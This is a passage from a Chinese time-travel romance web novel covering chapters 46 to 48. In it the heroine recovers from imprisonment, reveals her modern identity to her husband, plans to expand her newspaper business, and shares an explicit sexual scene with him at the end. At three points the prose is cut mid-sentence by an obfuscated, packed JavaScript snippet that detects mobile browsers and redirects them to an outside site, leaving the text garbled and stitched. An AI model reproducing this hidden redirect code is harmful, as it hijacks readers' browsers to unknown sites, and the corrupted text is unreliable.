见许昭也陷入沉思，孟允抒估摸着他正在脑中迅速回想着那些政书策论，试图从中挑出一个合适的答案，于是补充了一句：“你不必想得那么复杂，我只是随口问问，公子简明扼要地说出你的看法即可。” 许昭停下思考，他看向孟允抒，给出了一个简洁的回答：“玩弄权术，笼络人心。” “没错。”孟允抒点头，“只是这句话还可以说得再简单些。” 她笑了笑说道：“我并不擅长弄权，公子也是一样。所以我的答案是‘广结友，少树敌’。” 许昭顿时坐正了身子，摆出一副洗耳恭听的神态：“请姑娘赐教。” “在我看来，若想在政斗中取胜，就要营造敌寡我众的局面。” 为了进一步解释这句话的含义，孟允抒以他们刚刚经历过的这场风波为例，对许昭说道：“我们都知道旧党的力量不容小觑，但最终还是我们赢得了胜利。因为帮助我们的人是黎民百姓，还有那些底层官吏。” 许昭顿悟道：“而他们的数量远多于达官显贵。” “对。”既然许昭已经理解了她的意思，孟允抒便接着前面的话说道，“所以，我们接下来应当做的便是广结善缘，充实我方力量。只要一个人与我们没有根本性的冲突，就可以拉拢他和我们站在同一阵营。你在官场如此，我在商场亦是如此。” “真是‘听君一席话，胜读十年书’。”许昭轻笑一声，对孟允抒说道：“过去我曾看过诸多治国理政的学说，学得太多太杂，反倒时常陷入迷惘。如今你这寥寥数语让我豁然开朗，我早就说不许女子入仕是朝廷的损失。” “你说话可得注意点。”孟允抒虽然因为许昭的夸奖而沾沾自喜，但还是尽力控制着自己疯狂上扬的嘴角，“如今你我正处在漩涡中心，小心隔墙有耳。” 许昭意识到他方才的话有僭越之嫌，连忙压低声音说道：“姑娘教训得是。” 随着两人的交谈声的减弱，其他噪音便占据了上风。孟允抒的肚子突然发出一串不满的抱怨，向她诠释了什么叫“饥肠辘辘”。 赶在孟允抒开口之前，许昭意识到他犯了个错误，和孟允抒一道窘迫地笑了笑：“见你醒来我一时高兴，却忘了你连日来粒米未进，方才我还拉着你说了这么久的话，真是该打。” 他将身体前倾，拉住孟允抒的手问道：“你想吃什么，我去给你做。” 孟允抒非常意外，她刚想问许昭“你居然会做饭”，联想到许昭过去的家境后又把话咽了回去。 他出身乡野，掌握这项技能也不足为奇。 “不用麻烦你亲自动手，叫伙房的人去做就可以。”孟允抒回答，“我吃什么都行，只要清淡些便好。” “不行，你的伤病未愈，最近得格外注意。”许昭拒绝了她的提议，“你在这稍等片刻，我马上就回来。” 说完，他起身快步走到门外，孟允抒听见他叫了个小丫鬟过来，和她交代着让她看护好自己，而后便匆匆远去。 那小丫鬟一进门便是满脸激动，一时忘了行礼：“夫人你醒了？” “嗯。”孟允抒不在乎这种细节，只对她笑了笑，“你坐下来说话。” 小丫鬟欣喜地搬了张凳子过来，坐到孟允抒床边嘘寒问暖。她挽起孟允抒的袖子查看伤势，在看到她胳膊上横七竖八的伤痕后，竟然鼻子一酸掉下眼泪来。 “夫人在牢里真是受委屈了，回来之后就一直昏迷不醒，身上还带着这么多伤……” 她哭得上气不接下气，孟允抒不得不反过来安慰她：“我没事，这些伤过些日子就好了，不打紧，你别难过了，擦擦眼泪。” 这小姑娘不过十六岁的年纪，放在现代都还没成年，孟允抒在潜意识里会对她多一些包容。 待她的啜泣变成断断续续的抽噎后，孟允抒才继续说道：“倒是辛苦你们这些日子照顾我。府中人手少，你们恐怕都睡不了个囫囵觉。” “没有。”小丫鬟连忙摇头，“这些日子都是老爷在照料你，我们只是和平常一样，做好分内之事罢了。” 她抹了一把眼泪说道：“自打老爷将你从刑部带回之后，除了极个别的情况，他都寸步不离地守在你床边，我们怎么劝都劝不走他。他说，只有他亲自照看你，他才能放心。” 孟允抒惊诧道：“我昏迷了三天三夜，这期间都是许公子在一旁陪护我？” 小丫鬟点点头：“老爷这几天连他的卧房都没进，更别说上床休息了。他就一直这样衣不解带地待在你旁边，给你喂水换药，替你擦洗身子，实在困得不行了才会稍微合眼睡一会。” 说到这，她有些担忧地说道：“夫人，你稍后赶紧劝劝老爷，快让他休息去吧，由我们来照顾你。再这样下去，我担心老爷的身子会先吃不消。” 孟允抒这才明白过来，难怪只过了短短三天，许昭就憔悴成了那副模样。他经受的是身体和心理上的双重折磨。 想到那小丫鬟说的话，孟允抒又忽然意识到一件事。 她赶紧低头看向自己的身体，只见她穿着一身干净的寝衣，皮肤上也并无半点脏污，显然和她出狱时的狼狈模样大相径庭。 这都是许昭的杰作。 小丫鬟看出孟允抒的慌乱，连忙开口解释道：“夫人放心，老爷是正人君子，他没有趁人之危，对你做什么出格的事情。” 她踌躇了一下又继续说道：“夫人，我想斗胆和你说句话。” 孟允抒点头道：“你想说什么直言便是，我不会责怪你。” 即便如此，她还是站起身来，紧张地捏住衣角，小心翼翼地开了口。 “我们这些下人整日待在府里，夫人和老爷之间是什么关系，我们都心知肚明。可是，夫人是好人，老爷也是一样，你们心意相通却没有夫妻之实，这让我实在不明白。” 小丫鬟鼓起勇气，直视孟允抒的双眼。 “夫人，我知道老爷对你情深意重。所以，我想问题应该是出在夫人身上，是你不愿接纳老爷。” 她这话说得半对半错，孟允抒无法向她道出真实原因，只能以沉默应对。 外患未除，内忧已至。小丫鬟的话提醒孟允抒，还有一个问题亟待解决。 “如果夫人是因为过去两年的事对老爷心怀芥蒂，那我想恳请你放下成见。以前老爷出于种种原因冷落、提防、猜忌夫人，可如今他绝对是将一颗真心交付给了你。” 小丫鬟从另一个视角道出这几日许昭所做的事。 “夫人应当也知道，老爷并不善于交际。但为了将你救出来，他去找了所有他能想到的人，挨个给他们说好话，恳请他们帮助你。” “后来，他夜以继日地探查真相整理证据，想要尽快地还你清白。在老爷进宫面见皇上之前，他还特意召集我们这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15724707|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下人，告诉我们如果他出了意外，之后就听秋盈姐姐和管家的安排。他已经将后续事务交代给了他们。” 从许昭当时的角度出发，他肯定也知道自己此行凶险，所以提前安排好了后事。 即便如此，他还是跑去宫里，冒着掉脑袋的风险替孟允抒申冤。 因为那是救她的唯一机会。 “后来我才知道，当时老爷面对的情况比我想象得还要惊险。” 小丫鬟停顿片刻，似是替许昭捏了一把冷汗。 “老爷扮作太监的模样进殿倒茶，可皇上一抬眼就发觉了他，当即就要喊人将他抓起来。情急之下老爷连忙跪地谢罪，对皇上说，只要他肯听自己说几句话，他说完后情愿马上被拉去斩首。” 这句话如一记重锤敲在孟允抒身上。她不知道许昭说这话时的心境如何，但他的目的只有一个，那就是替她平反。 “因此，皇上才准许老爷将案件的内情告知给他，夫人才能够被无罪释放。陛下感慨老爷对夫人的情意，为了补偿你们，他不但赐给老爷银两，还特意给他准了半月的假期，叮嘱他在家好生照顾你。”小丫鬟眼泪汪汪地抬起头来，“连皇上都为你们之间的感情动容，还请夫人不要再怀疑老爷了。我也希望你和老爷能幸福美满，长相厮守。” 孟允抒还是一言不发，但她的心中久久不能平静。 方才在她和许昭的对话中，他将自己在这件事中起到的作用一笔带过，对小丫鬟说的那些更是绝口不提。或许是他不想让自己担心，又或许是他的确觉得自己没做出什么值得拿出来吹嘘的贡献，但不论是哪种情况，孟允抒都已经感受到了他的心意。 “我明白，你是为我好。”孟允抒对小丫鬟笑了笑，宽慰她道，“多谢你告诉我这些，我会妥善处理此事。不哭了。” 两人正说着话，许昭的脚步声便在门外响起，而后他端着案盘走了进来：“面条已经煮好了，你快趁热吃吧。” 小丫鬟见状赶忙起身，接过案盘将它搁在桌上，急匆匆地向两人告辞退下。 许昭对她的反应心生疑惑，他看向孟允抒问道：“我见她好像刚刚哭过，你和她说什么了？” “没什么。”孟允抒笑笑，想先把这事搪塞过去，待会再找个合适的机会和许昭坦白心迹。 她在许昭的搀扶下起身下床，坐到桌旁端详着眼前那碗热气腾腾的面条。 碧绿的葱花和着白嫩的鸡肉，显然这是一碗普通的鸡丝面。只不过在胤朝人口中，字词的顺序被打了个颠倒，它的称呼变成了“丝鸡面”，是胤朝的一道家常饭食。 尽管它并非什么稀罕的山珍海味，却有种质朴温馨的香气。 见孟允抒迟迟不动筷子，只是盯着饭食出神，许昭先是疑惑地问她怎么不吃，而后如梦初醒般地说道：“你看我实在是考虑不周。你大病初愈，身上应是没什么力气。” 他把碗筷挪到自己面前，扭捏了半天才说出一个完整的句子。 “我喂你吃。” 孟允抒本想说让她自己来，但又不忍心拂了他的好意，于是点头应允。 第一口面条下肚后，许昭又给她舀了勺汤喝，问她味道如何。 得到孟允抒的真诚赞美后，许昭欣慰地笑起来：“其实我做饭的手艺很一般，只有这丝鸡面做得好。因为这是我娘的拿手好戏，我幼时就喜欢吃这个，所以缠着她教给了我。” 提到母亲，许昭又有些伤感和怀念。 “我爹是个人渣，整日惹是生非，而且经常对我娘拳脚相加。我娘担心我长大后会和他一样，所以她屡次告诫我，若我日后娶妻，定要将她放在心上好生爱护。” 许昭有些惭愧地笑笑：“但我生性愚直，过去又只知道埋头苦读，从未体会过男女之情，见到女子便无措，故而也不知道该如何与你相处。我做得不够好，但你作为我的妻子，我定会全心全意地对你。” “不。公子这样的夫君，世上打着灯笼都难寻。” 面汤蒸腾出的雾气模糊了孟允抒的视线，她贪恋许昭的温柔，但不能心安理得地接受它，于是毅然决然地将它推远。 她抬起头直视着许昭的双眼，目光如炬。 “许公子，若我不是你的妻子，你又将如何待我？” 47. 琴瑟 许昭听到这话愣了一瞬，手中的筷子随之停在空中。 他暂时将碗筷放在一旁，困惑地问道：“允抒，你这是什么意思？” “此事听起来像是天方夜谭，但我愿以我的性命起誓，我所说的绝无半句虚言。” “好端端的，拿性命起誓做什么。你说的话我当然相信。”许昭见她神情严肃，意识到她即将说的话的重要性，于是正襟危坐道：“你讲吧。” 孟允抒深吸一口气，稳住心神。 而后，她尽可能地用许昭能够理解的语言，详细讲述了她的真实身份与经历，还有她曾见到那位孟姑娘的事。 说完这些，孟允抒攥紧了双拳。她盯着自己罗裙上的几道褶皱，问出那个在她心底潜藏已久的问题。 “许公子，你喜欢的人到底是谁？” 巨大的信息量向许昭涌来，让他陷入沉思。半晌，房间中都没有响起任何声音，空气安静得出奇。 孟允抒低头盯着面前那张木桌上的纹路，忐忑不安地等着许昭的回应，像是在等候最终判决。 她听到许昭那边传来轻微的动静，意识到他将要开口说话，于是屏住呼吸凝神聆听。 许昭的声音很轻，像是斟酌着语言的分量，慎重地做出决定。 “允抒，如你所说，起先我对你的确抱有感激与愧疚之情，也是出于责任感才关心你。” 孟允抒刚刚生出一阵失落感，就被许昭的下一句话捞了回去。 “但是，在你来到这里之前，我对原先那位孟姑娘也怀着这些情绪。可我和她的关系如何，你是知道的。” 许昭的语气坚决：“我虽然不是久经情场的浪子，却也分得清自己心中的情意。感激、愧疚、责任感，这些可以成为我对你好的理由，也足以成为我对孟姑娘好的原因，但它们都不是倾慕之情。” 孟允抒像是抓住了一线希望，她抬头看向许昭时，对方恰好也对上她的目光。 这次许昭并未像往常那样移开视线，而是郑重其事地说道：“允抒，其实你自己最清楚，你和那位孟姑娘是截然不同的人。一个人骨子里的秉性是装不出来的，所以你不必担忧我倾心的只是你的表象。” 许昭从孟允抒腿上牵走她的手，与她十指相扣。孟允抒察觉到自己手心传来温暖而有力的触感。 许昭一字一句地给出了他的最终答案：“你原本是什么模样，我爱的便是什么模样。” 孟允抒心里的石头落了地。 许昭的这番论述已经清晰地解释了他的感情，孟允抒想，她从此以后都不用再质疑他了。 “我明白了。多谢公子为我解惑。” 她抬起另一只手，将它放在许昭的双手之上，对他报以释然的微笑。 “你对我的心意，我也全然知晓了。” “只是这样便委屈了你。”许昭纠结起两人关系的合法性，“为了对外隐瞒你的身份，我不可能与你再次成婚。这样一来，你就不是我明媒正娶的妻子。” “我并不在意这些。”孟允抒摇头道，“成婚流程与礼节繁琐冗长，我巴不得不经历那一遭。” 她看向许昭，继而说道：“此前我与公子发生冲突，也是我方才所说的心结所致。实际上，从那时起我就该将你唤作‘许郎’。” “无妨，从今日起改口也不迟。” 许昭一时兴奋，道出了自己的心声，而后却又被自己说得害羞起来。为掩饰自己的尴尬，他左顾右盼了一会，倏然看到方才被他放在一边的碗筷。 “坏了。” 许昭急忙将那碗面端过来，他碰了碰碗壁，发觉里面的温度已经降了下来。 孟允抒也才反应过来，折腾了这么半天，她还饿着肚子呢。 “我光顾着和你说话，面都凉了。”许昭懊悔地说道，“我先让人给你拿些点心来垫垫肚子，我再去给你重煮一碗。” 见许昭端着碗就要起身离开，孟允抒连忙拦下他说道：“不必了，你将它再热一遍就行，倒掉怪可惜的。” 她笑了笑，又补充了一句：“而且这是我的许郎为我亲手做的第一碗面，意义非凡，我可不能便宜了渣斗。” 孟允抒存心打趣许昭，刻意加重了“我的许郎”四字，许昭也没有辜负她的期待，红晕迅速染上他的脸颊，他端起案盘便落荒而逃。 不过，正是因为这句话的威力巨大，孟允抒才保住了自己珍惜粮食的美好品德。 许昭见孟允抒大口大口地吃着面，忍不住在一旁问道：“这面放得时间久了，又煮了第二遍，早都变成了软趴趴的一坨，能好吃吗？” “这是你用心为我做的，当然好吃。”孟允抒吃得津津有味，甚至连面汤都喝了个干净，而后餍足地放下筷子说道：“至少它可比凉了的泡面好吃多了，有时我加班太忙……” “等等。”许昭打断她问道，“泡面是什么？” 孟允抒发觉，在她向许昭坦白身份后，她在潜意识里放下了戒备，不经意间说了个现代的事物。 在孟允抒作出解释后，许昭对现代社会来了兴致，好奇地问东问西。 最开始他问的都是些无足轻重的琐碎小事，比如“你们的马车是什么样子”，“服装制式与大胤有何不同”，孟允抒都一一耐心作答。接着，他的问题逐渐转向科学、文化、教育等领域，最后问到了他最关心的政治上。 “你们当今的皇上是谁？他是个什么样的人？” 听到这个问题，孟允抒忍俊不禁。 大清早在一百多年前就灭亡了，“皇上”这个词和她的现实生活相去甚远。 “我们国家没有皇上。”孟允抒说这句话时还是没憋住笑，“不过世上有很多国家，其中一部分国家还有皇帝。” 许昭对此非常意外，他想象不出那到底是个什么样的社会，但明显能感觉到那比胤朝要先进数万倍。 “照你所说，你所处的朝代——” 他按照孟允抒的说法改口道：“不，应该叫‘时代’。你们的时代那样美好，各方面的水平都发达至极，那世上是否已经没有战乱和饥荒，人们不再被分为三六九等，每个人都能安居乐业？” 许昭的眼瞳因为激动而闪烁着光彩，孟允抒望着他，一时不知该如何作答。 这是许昭的终极理想，也是她的愿景，更是无数个来自不同时代、不同国家的人的奋斗目标。 但它至今尚未实现。 沉默片刻后，她决定将实情告知许昭。 “不是。”孟允抒摇摇头，“世上有太多的人，我们的想法和立场各不相同，因此便有了冲突，正如朝廷中的党派斗争一般。” 许昭哑然地看着孟允抒，而后神情有些落寞。 “但是，你不必灰心。虽然我们尚未抵达终点，但我们正在努力靠近它。”她话锋一转，对许昭笑了笑，“至少相比于大胤，在我的国家，有更多和你我观念一致的人，每个人都能接受义务教育，女子从政也是常事，个人婚姻自由，这些都是进步。” 许昭重新抬起眼眸，脸上显出惊喜与欣慰的神色。 “那就好。” 他起身在房间里来回踱步，不紧不慢但步履坚定，像是在认真思考什么事。 末了，他引用了一句话作为总结。 “路虽远，行则将至；事虽难，做则必成。” “没错。”孟允抒吃饱喝足，便有了力气去继续分析他们眼下应当去做的事：“既然如此，接下来我们便重整旗鼓，按照此前讨论得出的对策行事，‘广结友，少树敌’。” 她轻叩着桌面梳理思路：“当前城中的报社只有我们一家，难免势单力薄。先前我单打独斗，虽然取得了一定的成果，可最终会受到规模限制，难以掀起什么风浪。如玉行会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15736590|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也正是出于这点考虑，频频向我施压，限制报社雇员数量。” 许昭点点头，作出补充：“而那些书坊却开业已久，人多势众，他们联合起来打压报社，令你难以招架。” “但既然报社的生意如此红火，说明报纸广受民众欢迎，其具有广大的市场空间，这是不容置疑的事实。”孟允抒分析道，“多家书坊嫉恨我，认为报社抢了他们的生意，其实我只是顺应民意罢了。如果他们足够聪明，就应该趁机下场，从报业中分一杯羹。” 孟允抒猛然住了口，她意识到自己已经说出了解决方法。 “我明白了！”她激动地抓住这道灵光，赶忙和许昭商量起她的计划，“既然这些人眼红报社的生意，那我不如大度些，让他们也参与进来。若是一部分人愿意改行从事报业，那我便有理由将报业从书业中分离，将其作为一个独立的新行当。这样一来，我也不必再受到如玉行会的束缚。” “此计甚妙。”许昭赞同她的想法，“若实际情况如你所愿，你便能够化敌为友。” 到那时，报社就能够与传统书坊分庭抗礼，而新闻业也能在胤朝发扬光大。 这样的结果令孟允抒心潮澎湃，她当即就要起身去拟一份详细的操作方案，嘴里兴奋地念叨着：“等今日秋盈回府后我就将这个想法告诉她。明日我去报社——嘶！” 孟允抒想出对策后一时得意忘形，她刚一站起，遍布全身的剧痛就向她袭来，险些让她站立不稳倒在地上。 好在许昭手疾眼快地扶住了她，将她重新带回床边，半是心疼半是着急地数落她：“你当心些。你这浑身是伤，要是不注意就会复发，搞不好还要落下病根。” 许昭说得在理，孟允抒不得不重新坐回床上，当一个安分守己的伤员。 “如今你才刚脱离危险，最紧要的事就是养好身子，要不然何谈后面的那些宏图伟业？”他替孟允抒整理好床铺，叮嘱她道，“近日你先在府中静养，待你的身体恢复后再去报社，处理那些事务。” 方才的剧痛已经提醒了孟允抒，她当今的确不便行动。她不愿逞强给别人添麻烦，但她如果什么事都不干，待在府中肯定是度日如年。 要是能居家办公就好了。 孟允抒瞥了一眼许昭，计上心头。 她拿捏好语气，装腔作势地说道：“我知道许郎是为我好。” 第一句话刚出口，许昭马上就开始坐立难安。 孟允抒见这招立竿见影，便放心大胆地说了下去：“可我若是整日待在府中无事可做，肯定会闷闷不乐，这于我的病情不利。” 她观察许昭的神情，估摸着火候差不多了，便试探性地说出自己的目标：“不如让秋盈每日给我带些简单的、能够在府中处理的事务，反正这半个月你被准假在家，可以从旁监督我。若你觉得任务太过繁重，随时都能叫停。” 许昭认为孟允抒所说的方案可行，于是点头应允。 他转身要去端走桌上的案盘，却忽然像是想到了什么，又折返回来对孟允抒说道：“这几日我虽不用前往官府，却仍有公务在身。伪诏一案后，陛下决心整顿小报乱象，命我重新修订《大胤律疏》中的相关规定。” 许昭向她提议：“既然你从事的就是报业，又懂得相关的律令，不如由你为我提供些参考。” 制定法律能够维护清朗的新闻环境，也有利于后续成立专业的报业行会，孟允抒觉得这是件好事，便一口答应下来。 许昭面露喜色，迅速丢出一句话：“所以，这几日你就来书房处理事务吧，这样我也方便问你。” 而后，不等孟允抒作出反应，他就端着案盘夺门而出。 孟允抒算是听明白了，许昭前面包的那一大堆饺子都是为了这一小碟醋。 她的唇角止不住地上扬。 他不过是想和她待在一起而已。 48. 和鸣 晚间，孟允抒照例坐在桌边看报，时不时地回答许昭的问题。 半月以前许昭的假期结束，他官复原职后就和往常一样每日去上值，只是每晚修撰律疏时都要将孟允抒拉过来，美其名曰让她来当参谋。 孟允抒当然明白许昭心里那点小九九，但她自始至终没有拆穿他拙劣的伪装。 谁让他俩一个愿打一个愿挨。 孟允抒读完一篇文章，忽而听见坐在对面的许昭搁下笔，长舒一口气道：“历时一月，在你我的通力合作下，终于把这桩事解决了。” 她欣喜地伸出手：“让我看看。” 许昭将他面前的宣纸递了过来，他本人也沿着书案绕了半圈，来到孟允抒身边，和她一起端详两个人的合作成果。 孟允抒浏览了一遍纸上的内容，满意地点点头。虽然两人在做这事时各怀鬼胎，但这些律令并未包含他们的半点私心。 孟允抒将其评价为“现代新闻法在胤朝本土化的一次伟大尝试”。 她回头对许昭说道：“这样一来，虚假新闻应当——” 在看清许昭的脸时，她突然笑出了声，只留下说了半截的话飘荡在空中，令许昭不解地问她在笑什么。 孟允抒一边笑着一边拿来面铜镜：“你自己照照就明白了。” 许昭看向镜中的自己，只见他脸上布满乌黑的墨痕，活像个刚从煤炭堆里钻出来的人，看起来十分狼狈。 “这是怎么回事？” 他疑惑地抹了一把脸，脸上却赫然出现一道崭新的污渍。 孟允抒连忙叫他别再乱动，扯着他的手伸到油灯底下，两人这才发现，许昭不知何时在手上沾了一块墨迹，他脸上的那些黑痕应当是他在不经意间抹上去的。 油灯的光线不甚明亮，因此孟允抒也一直未曾发觉。 “你都多大的人了，写个字还能把你自己搞成这样。” 孟允抒大肆嘲笑着许昭，但还是好心地出手相助。她腾出椅子让许昭坐下：“你先坐在这，别碰其他东西。” 许昭尴尬得无地自容，但为了防止他把墨痕染得到处都是，他只能服从孟允抒的命令，任由她摆布自己，看着她挽起自己的袖子，命他举起双手。 孟允抒很快便端了盆水进来，将手巾打湿后先给许昭擦了手，而后又擦拭着他脸上的那些墨迹。由于干掉的墨渍比较顽固，孟允抒不得不多使了些力气，直到将许昭脸上的皮肤都搓得发红，这才不见了那些污渍的踪影。 见许昭马上就要站起身，孟允抒按住他的肩膀说道：“等会，你先别着急起来，让我看看洗净了没。” 她将油灯往桌边挪了挪，细细察看许昭脸上的痕迹。 但看着看着，她的关注点就跑偏了。 许昭本就生了副干净深邃的长相，洗过脸后更是显得面如冠玉，又像是冬日枝头上未经采撷的霜雪。这般素净冷峻的底色将他五官的轮廓衬得更加清晰，色彩也尤为鲜亮，那眉目像是沾了方才的水墨似的乌黑，唇上的薄红从唇缝至两侧均匀地晕染开来，逐渐变淡，隐入白皙的肤色中。 见孟允抒望着他出神，许昭被盯得不好意思，连忙避开她炽热的视线，心慌意乱地问道：“怎么了？” 孟允抒觉得，任何华丽的辞藻在许昭面前都会黯然失色。 她凑近了许昭的脸，由衷地称赞道：“许郎，你这容貌当真是俊朗无双。” 许昭因为她突如其来的夸奖而乱了阵脚，脸上红一阵白一阵的，半天没拼凑出一句完整的回应：“你、你突然说这些做什么？” 孟允抒见状便起了捉弄他的心思，故意调侃他道：“朝廷中有谁能想到，堂堂的刑部郎中许大人看上去刚正不阿，做起事来雷厉风行，可在私底下竟然是这般含羞带怯的模样，真是令人大开眼界。” 她说这话的同时还在检查许昭脸上的污渍是否都已经被洗尽，忽然收敛笑意正色按住许昭道：“你先别动。方才光线太暗，你脸上的水没擦干净。” 两人拉近距离后孟允抒才发觉，许昭的唇上还沾着些细小的水珠。于是她伸出手，用手指轻轻替他拭去这些水渍，留下一道泛着光泽的水痕。 她将全部的注意力都放在了这两片薄唇上，因此那抹殷红和着水光直截了当地撞入她的眼帘，将她的视野占据得满满当当。 孟允抒心中忽而涌起一阵强烈的冲动。席卷而来的浪潮淹没了她的心脏，令她的呼吸变得急促起来。 她喃喃自语道：“不对。我方才的用词不当。” 说完，她微微俯身，吻上了许昭的唇。 与他冷淡沉静的外表相对，他的嘴唇是出乎意料地柔软，蕴着温热的气息。 许昭对孟允抒的反应始料未及，他先是惊了一瞬，而后骤然意识到，这正是他期待已久的事物。 于是，他顺从地配合着孟允抒的动作，任由她欺得自己动弹不得。 由于许昭的主动退让，孟允抒没费太大力气便破开了他的防守，用灵巧的舌尖撬开他的双唇，在对方的领地上肆意巡游，攻城掠地，很快便将这片空间据为己有，也顺利捉住了躲在里面的将领。 许昭难以招架她的猛烈攻势，不禁攥紧了孟允抒的衣袖。 在两人的唇舌相碰时，柔软的触感勾起一阵细碎的震颤，从舌尖欢欣地流遍全身，一直沁入心田。 孟允抒感受到了润泽，于是心满意足地打算退出。可在她刚要离开时，许昭却急切地挽留住她，揽住她的腰强行将她带了回来。 两人拉近了距离，交流比方才还要深入。孟允抒见局势发生反转，她不肯就这样败下阵来，于是再次发起冲锋。 如此几个来回后，孟允抒觉得自己马上就要窒息了，这才稍稍用力将两人分开。 她的胸口剧烈地上下起伏着。她抬眼看向许昭，倏然发觉她不知从什么时候起居然坐到了许昭大腿上，双臂则搭在他的肩颈旁，两人急促的喘息正交缠在一起，让孟允抒觉得她周遭的空气都在发烫。 许昭的眼底明暗交杂，向孟允抒询问道：“你说，你方才的用词不当？” “对。”孟允抒稳住气息，托起许昭的下巴，对他露出挑衅的微笑，“你现在的模样已经不是让我大开眼界，而是大饱口福。” 许昭发现，自从孟允抒和他坦白身份后，就像解开了压在她身上的一道封印，什么话都敢往出说。 但这也从另一方面说明，她已经完全对他敞开了心扉。所以，尽管许昭因孟允抒的话而窘迫不已，可又暗自庆幸她终于愿意将一腔爱意表露出来。 他躲闪着孟允抒的视线，像是为了岔开话题一般说道：“你快回房早些休息，我也该睡了。明日一早我还要上朝。” 他这话反倒提醒了孟允抒。当前她在府中修养已有一月，但每次提出要回到报社时，都会遭到许昭和秋盈的联合拒绝。 这会许昭神志不清，或许是让他改口的好机会。 因此，孟允抒不但没从许昭腿上下来，反而贴紧他的胸膛，缠着他说道：“我明日也想去上工。你看，我在府中闷了这么久，连身子都沉了许多。” “……不行。”许昭险些就答应了她，这话也是他说给自己听的，“你身上的伤还没好全，哪能经得起操劳？” “没有，我那些伤口早都愈合了。”孟允抒受到阻挠，为了向许昭力证她的身体已经恢复，能够回到报社工作，她扯开自己的衣领说道：“不信你亲自看看。” “不，不必了。” 许昭手忙脚乱地别过头，不知道该把自己的目光落到何处。但他依然抱紧了孟允抒，生怕她从自己身上掉下去。 孟允抒见他慌得六神无主，还以为自己说出了什么惊世骇俗的言论。 这分明是件很正常的事，但因为许昭太过保守，显得她好像是个调戏纯良男子的女流氓。 她和许昭的关系都到这一步了，还有什么是不能给他看的？ 孟允抒将心一横，索性直接问他：“先前你给我换药擦身时，该看的早都看完了，现在有什么不好意思的？” 不过说来也怪，自从孟允抒醒来之后，许昭像是为了避免尴尬，这些事务都交由丫鬟代劳，他只会隔三岔五地检查她胳膊和小腿上的伤口愈合状况。 见许昭支支吾吾地答不上来，孟允抒心里骤然冒出一个猜想。 她坐的这个位置非常微妙，她稍稍挪动了一下自己的身体，旋即感受到预想当中的硬物。 两人当然都明白那是什么，许昭几乎是条件反射地将孟允抒推离了那处，禁锢住她的身子。 他脸上显出隐忍的神情，警告孟允抒道：“你别乱动。” 孟允抒的心凉了半截。 她过去的那些胡思乱想难道不是误会？ 正常人真能做到这样坐怀不乱吗？ 仔细想来，许昭也确实从来没有正面回答过那些隐秘的问题。 不会真让她说中了吧。 无数猜疑飞速从孟允抒脑海中闪过，她虽然不会因为这方面的问题就抛弃许昭，但有病就得治。说不定许昭是觉得这个病症难以启齿，才从来没有将真相告诉她。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在这样急促的节奏下，两人很快就未着寸缕。孟允抒环抱着许昭，触到他后背紧实有力的肌肉，手指沿着他的身体线条划动，描摹出他的形状。 孟允抒内心暗喜，虽然许昭不是武官，但凭借自律的生活方式还是拥有一副好身材。 在动作之间，孟允抒的膝盖上偶尔传来炙热感，她有意无意地蹭了蹭，迎来的自然是更为激烈的报复。两人肌肤相贴时，她听得见许昭胸腔内的心跳声咚咚作响，和上了她的节拍，几乎马上就要撞破胸膛。 迎着粗重的喘息，孟允抒看向许昭迷乱的眼神笑道：“你平日那副正人君子的模样当真不是装出来的？” 许昭没有应声，只用动作对孟允抒的问题作出回答。 滚烫的手掌在孟允抒身上游走，肌肤的摩擦引得她发出阵阵颤栗。孟允抒觉得自己像是陷入了一片沼泽，瘫软在其中难以自拔。 突然，许昭像是如梦初醒般地缓和了动作。 孟允抒喘着气问：“怎么了？” 他轻轻抚上她的小腹问道：“现在还疼吗？” 如果不是许昭在那里摩挲，孟允抒几乎忘了那里还有一道浅淡的疤痕。 “早就不疼了。”孟允抒摇摇头，捉起他的手腕，将他的手掌放在自己胸脯上，示意他检查原先另外几处伤口的位置，“你看，我身上那些轻伤早已痊愈，连一点疤都没留下。再过些日子，这些较深的伤痕也就消失了。” 许昭望向孟允抒指引的地方，眼里满是疼惜。 他低头舔舐着那些伤痕，如一片羽毛轻轻拂过，扫得孟允抒心尖发痒。 同时，她察觉到自己的手被一双更为修长的手包裹住，推着她舒展手指与它十指相扣。奇怪的是，虽然那手骨节分明，孟允抒却觉得她的掌心传来柔软的触感。 而后，这双手松开了她，沿着她的躯干一路往下滑，令她的身下涌起一阵更为猛烈的浪潮。 水声与湿热的气息充斥了整个房间，孟允抒觉得，再这样下去她甚至撑不到下个环节，于是在许昭的腰上轻捏了一把：“可以了。” “好。”许昭在孟允抒唇角落下轻柔的一吻，滚烫的气息喷洒在她的耳畔：“若你有任何不适，就随时告诉我。” 孟允抒听出他语气中的忍耐与克制，便起身凑到他耳边低语，其间含有笑意。 “许郎，我喜欢你方才抱我进门时的样子。” 49. 东山再起 